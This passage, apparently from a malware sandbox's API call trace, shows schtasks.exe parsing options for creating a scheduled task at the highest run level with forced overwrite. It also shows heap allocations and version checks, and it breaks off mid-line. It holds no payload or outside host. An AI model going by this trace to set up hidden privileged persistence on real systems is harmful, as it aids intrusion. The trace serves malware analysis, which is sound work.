lpSrch="|rl|") returned 0x0 [0091.641] SetLastError (dwErrCode=0x490) [0091.641] lstrlenW (lpString="delete") returned 6 [0091.641] lstrlenW (lpString="delete") returned 6 [0091.641] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.641] lstrlenW (lpString="rl") returned 2 [0091.641] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.641] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.641] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.641] lstrlenW (lpString="|delete|") returned 8 [0091.642] lstrlenW (lpString="|rl|") returned 4 [0091.642] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0091.642] SetLastError (dwErrCode=0x490) [0091.642] lstrlenW (lpString="query") returned 5 [0091.642] lstrlenW (lpString="query") returned 5 [0091.642] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.642] lstrlenW (lpString="rl") returned 2 [0091.642] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.642] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.642] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.642] lstrlenW (lpString="|query|") returned 7 [0091.642] lstrlenW (lpString="|rl|") returned 4 [0091.642] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0091.642] SetLastError (dwErrCode=0x490) [0091.642] lstrlenW (lpString="change") returned 6 [0091.642] lstrlenW (lpString="change") returned 6 [0091.642] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.642] lstrlenW (lpString="rl") returned 2 [0091.643] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.643] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.643] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.643] lstrlenW (lpString="|change|") returned 8 [0091.644] lstrlenW (lpString="|rl|") returned 4 [0091.644] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0091.644] SetLastError (dwErrCode=0x490) [0091.644] lstrlenW (lpString="run") returned 3 [0091.644] lstrlenW (lpString="run") returned 3 [0091.644] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.644] lstrlenW (lpString="rl") returned 2 [0091.644] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.644] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.644] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.644] lstrlenW (lpString="|run|") returned 5 [0091.644] lstrlenW (lpString="|rl|") returned 4 [0091.644] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0091.644] SetLastError (dwErrCode=0x490) [0091.644] lstrlenW (lpString="end") returned 3 [0091.644] lstrlenW (lpString="end") returned 3 [0091.644] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.644] lstrlenW (lpString="rl") returned 2 [0091.644] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.644] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.644] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.644] lstrlenW (lpString="|end|") returned 5 [0091.644] lstrlenW (lpString="|rl|") returned 4 [0091.644] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0091.644] SetLastError (dwErrCode=0x490) [0091.645] lstrlenW (lpString="showsid") returned 7 [0091.645] lstrlenW (lpString="showsid") returned 7 [0091.645] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.645] lstrlenW (lpString="rl") returned 2 [0091.645] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.645] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.645] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.645] lstrlenW (lpString="|showsid|") returned 9 [0091.645] lstrlenW (lpString="|rl|") returned 4 [0091.645] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0091.645] SetLastError (dwErrCode=0x490) [0091.645] SetLastError (dwErrCode=0x490) [0091.645] SetLastError (dwErrCode=0x0) [0091.645] lstrlenW (lpString="/rl") returned 3 [0091.645] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0091.645] SetLastError (dwErrCode=0x490) [0091.645] SetLastError (dwErrCode=0x0) [0091.645] lstrlenW (lpString="/rl") returned 3 [0091.645] GetProcessHeap () returned 0x2d0000 [0091.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2eddd0 [0091.645] GetProcessHeap () returned 0x2d0000 [0091.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece90 [0091.645] SetLastError (dwErrCode=0x0) [0091.645] SetLastError (dwErrCode=0x0) [0091.645] lstrlenW (lpString="HIGHEST") returned 7 [0091.645] lstrlenW (lpString="-/") returned 2 [0091.645] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0091.646] SetLastError (dwErrCode=0x490) [0091.646] SetLastError (dwErrCode=0x490) [0091.646] SetLastError (dwErrCode=0x0) [0091.646] lstrlenW (lpString="HIGHEST") returned 7 [0091.646] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0091.646] SetLastError (dwErrCode=0x490) [0091.646] SetLastError (dwErrCode=0x0) [0091.646] lstrlenW (lpString="HIGHEST") returned 7 [0091.646] GetProcessHeap () returned 0x2d0000 [0091.646] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed620 [0091.646] GetProcessHeap () returned 0x2d0000 [0091.646] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecec0 [0091.646] SetLastError (dwErrCode=0x0) [0091.646] SetLastError (dwErrCode=0x0) [0091.646] lstrlenW (lpString="/f") returned 2 [0091.646] lstrlenW (lpString="-/") returned 2 [0091.646] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.646] lstrlenW (lpString="?") returned 1 [0091.646] lstrlenW (lpString="?") returned 1 [0091.646] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.646] lstrlenW (lpString="f") returned 1 [0091.646] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.646] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.646] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.646] lstrlenW (lpString="|?|") returned 3 [0091.646] lstrlenW (lpString="|f|") returned 3 [0091.646] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0091.647] SetLastError (dwErrCode=0x490) [0091.647] lstrlenW (lpString="create") returned 6 [0091.647] lstrlenW (lpString="create") returned 6 [0091.647] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.647] lstrlenW (lpString="f") returned 1 [0091.647] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.647] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.647] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.647] lstrlenW (lpString="|create|") returned 8 [0091.647] lstrlenW (lpString="|f|") returned 3 [0091.647] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0091.647] SetLastError (dwErrCode=0x490) [0091.647] lstrlenW (lpString="delete") returned 6 [0091.647] lstrlenW (lpString="delete") returned 6 [0091.647] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.647] lstrlenW (lpString="f") returned 1 [0091.647] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.647] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.647] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.647] lstrlenW (lpString="|delete|") returned 8 [0091.647] lstrlenW (lpString="|f|") returned 3 [0091.647] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0091.647] SetLastError (dwErrCode=0x490) [0091.647] lstrlenW (lpString="query") returned 5 [0091.647] lstrlenW (lpString="query") returned 5 [0091.648] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.648] lstrlenW (lpString="f") returned 1 [0091.648] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.648] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.648] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.648] lstrlenW (lpString="|query|") returned 7 [0091.648] lstrlenW (lpString="|f|") returned 3 [0091.648] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0091.648] SetLastError (dwErrCode=0x490) [0091.648] lstrlenW (lpString="change") returned 6 [0091.648] lstrlenW (lpString="change") returned 6 [0091.648] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.648] lstrlenW (lpString="f") returned 1 [0091.648] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.648] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.648] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.648] lstrlenW (lpString="|change|") returned 8 [0091.648] lstrlenW (lpString="|f|") returned 3 [0091.648] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0091.648] SetLastError (dwErrCode=0x490) [0091.648] lstrlenW (lpString="run") returned 3 [0091.648] lstrlenW (lpString="run") returned 3 [0091.648] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.648] lstrlenW (lpString="f") returned 1 [0091.649] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.649] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.649] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.649] lstrlenW (lpString="|run|") returned 5 [0091.649] lstrlenW (lpString="|f|") returned 3 [0091.649] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0091.649] SetLastError (dwErrCode=0x490) [0091.649] lstrlenW (lpString="end") returned 3 [0091.649] lstrlenW (lpString="end") returned 3 [0091.649] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.649] lstrlenW (lpString="f") returned 1 [0091.649] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.649] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.649] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.649] lstrlenW (lpString="|end|") returned 5 [0091.649] lstrlenW (lpString="|f|") returned 3 [0091.649] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0091.649] SetLastError (dwErrCode=0x490) [0091.649] lstrlenW (lpString="showsid") returned 7 [0091.649] lstrlenW (lpString="showsid") returned 7 [0091.649] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.649] lstrlenW (lpString="f") returned 1 [0091.649] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.649] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.649] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|f|") returned 3 [0091.650] lstrlenW (lpString="|showsid|") returned 9 [0091.650] lstrlenW (lpString="|f|") returned 3 [0091.650] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0091.650] SetLastError (dwErrCode=0x490) [0091.650] SetLastError (dwErrCode=0x490) [0091.650] SetLastError (dwErrCode=0x0) [0091.650] lstrlenW (lpString="/f") returned 2 [0091.650] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0091.650] SetLastError (dwErrCode=0x490) [0091.650] SetLastError (dwErrCode=0x0) [0091.650] lstrlenW (lpString="/f") returned 2 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2eddf0 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecef0 [0091.650] SetLastError (dwErrCode=0x0) [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec2e0) returned 1 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec2e0) returned 0x8 [0091.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec2e0 | out: hHeap=0x2d0000) returned 1 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd10) returned 1 [0091.650] GetProcessHeap () returned 0x2d0000 [0091.650] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd10) returned 0x20 [0091.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd10 | out: hHeap=0x2d0000) returned 1 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec370) returned 1 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec370) returned 0x12 [0091.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec370 | out: hHeap=0x2d0000) returned 1 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd40) returned 1 [0091.651] GetProcessHeap () returned 0x2d0000 [0091.651] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd40) returned 0x20 [0091.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd40 | out: hHeap=0x2d0000) returned 1 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec390) returned 1 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec390) returned 0x8 [0091.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec390 | out: hHeap=0x2d0000) returned 1 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd70) returned 1 [0091.652] GetProcessHeap () returned 0x2d0000 [0091.652] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd70) returned 0x20 [0091.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd70 | out: hHeap=0x2d0000) returned 1 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3b0) returned 1 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3b0) returned 0xe [0091.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3b0 | out: hHeap=0x2d0000) returned 1 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecda0) returned 1 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecda0) returned 0x20 [0091.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecda0 | out: hHeap=0x2d0000) returned 1 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] GetProcessHeap () returned 0x2d0000 [0091.653] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3d0) returned 1 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.654] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3d0) returned 0x8 [0091.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3d0 | out: hHeap=0x2d0000) returned 1 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.654] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdd0) returned 1 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.654] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdd0) returned 0x20 [0091.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdd0 | out: hHeap=0x2d0000) returned 1 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.654] GetProcessHeap () returned 0x2d0000 [0091.655] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3f0) returned 1 [0091.655] GetProcessHeap () returned 0x2d0000 [0091.655] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3f0) returned 0x6 [0091.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3f0 | out: hHeap=0x2d0000) returned 1 [0091.655] GetProcessHeap () returned 0x2d0000 [0091.655] GetProcessHeap () returned 0x2d0000 [0091.655] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00) returned 1 [0091.655] GetProcessHeap () returned 0x2d0000 [0091.655] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece00) returned 0x20 [0091.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00 | out: hHeap=0x2d0000) returned 1 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec410) returned 1 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec410) returned 0x8 [0091.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec410 | out: hHeap=0x2d0000) returned 1 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30) returned 1 [0091.656] GetProcessHeap () returned 0x2d0000 [0091.656] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece30) returned 0x20 [0091.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30 | out: hHeap=0x2d0000) returned 1 [0091.657] GetProcessHeap () returned 0x2d0000 [0091.657] GetProcessHeap () returned 0x2d0000 [0091.657] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bd0) returned 1 [0091.657] GetProcessHeap () returned 0x2d0000 [0091.657] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7bd0) returned 0x38 [0091.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bd0 | out: hHeap=0x2d0000) returned 1 [0091.658] GetProcessHeap () returned 0x2d0000 [0091.658] GetProcessHeap () returned 0x2d0000 [0091.658] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60) returned 1 [0091.658] GetProcessHeap () returned 0x2d0000 [0091.658] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece60) returned 0x20 [0091.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60 | out: hHeap=0x2d0000) returned 1 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddd0) returned 1 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eddd0) returned 0x8 [0091.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddd0 | out: hHeap=0x2d0000) returned 1 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90) returned 1 [0091.659] GetProcessHeap () returned 0x2d0000 [0091.659] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece90) returned 0x20 [0091.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90 | out: hHeap=0x2d0000) returned 1 [0091.660] GetProcessHeap () returned 0x2d0000 [0091.660] GetProcessHeap () returned 0x2d0000 [0091.660] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed620) returned 1 [0091.660] GetProcessHeap () returned 0x2d0000 [0091.660] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed620) returned 0x10 [0091.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed620 | out: hHeap=0x2d0000) returned 1 [0091.661] GetProcessHeap () returned 0x2d0000 [0091.661] GetProcessHeap () returned 0x2d0000 [0091.661] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0) returned 1 [0091.661] GetProcessHeap () returned 0x2d0000 [0091.661] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecec0) returned 0x20 [0091.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0 | out: hHeap=0x2d0000) returned 1 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddf0) returned 1 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eddf0) returned 0x6 [0091.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eddf0 | out: hHeap=0x2d0000) returned 1 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0) returned 1 [0091.662] GetProcessHeap () returned 0x2d0000 [0091.662] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecef0) returned 0x20 [0091.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0 | out: hHeap=0x2d0000) returned 1 [0091.663] GetProcessHeap () returned 0x2d0000 [0091.663] GetProcessHeap () returned 0x2d0000 [0091.663] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5510) returned 1 [0091.663] GetProcessHeap () returned 0x2d0000 [0091.663] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5510) returned 0x18 [0091.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5510 | out: hHeap=0x2d0000) returned 1 [0091.664] SetLastError (dwErrCode=0x0) [0091.664] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0091.664] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0091.664] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0091.664] VerifyVersionInfoW (in: lpVersionInformation=0xfc590, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc590) returned 1 [0091.664] SetLastError (dwErrCode=0x0) [0091.664] lstrlenW (lpString="create") returned 6 [0091.664] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0091.664] SetLastError (dwErrCode=0x490) [0091.664] SetLastError (dwErrCode=0x0) [0091.664] lstrlenW (lpString="create") returned 6 [0091.664] GetProcessHeap () returned 0x2d0000 [0091.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecef0 [0091.664] GetProcessHeap () returned 0x2d0000 [0091.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed620 [0091.664] _memicmp (_Buf1=0x2ed620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.664] GetProcessHeap () returned 0x2d0000 [0091.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed640 [0091.665] SetLastError (dwErrCode=0x0) [0091.665] _memicmp (_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.665] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0091.665] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0091.665] GetProcessHeap () returned 0x2d0000 [0091.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2eddd0 [0091.666] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2eddd0 | out: lpData=0x2eddd0) returned 1 [0091.666] VerQueryValueW (in: pBlock=0x2eddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc678, puLen=0xfc6e0 | out: lplpBuffer=0xfc678*=0x2ee16c, puLen=0xfc6e0) returned 1 [0091.666] _memicmp 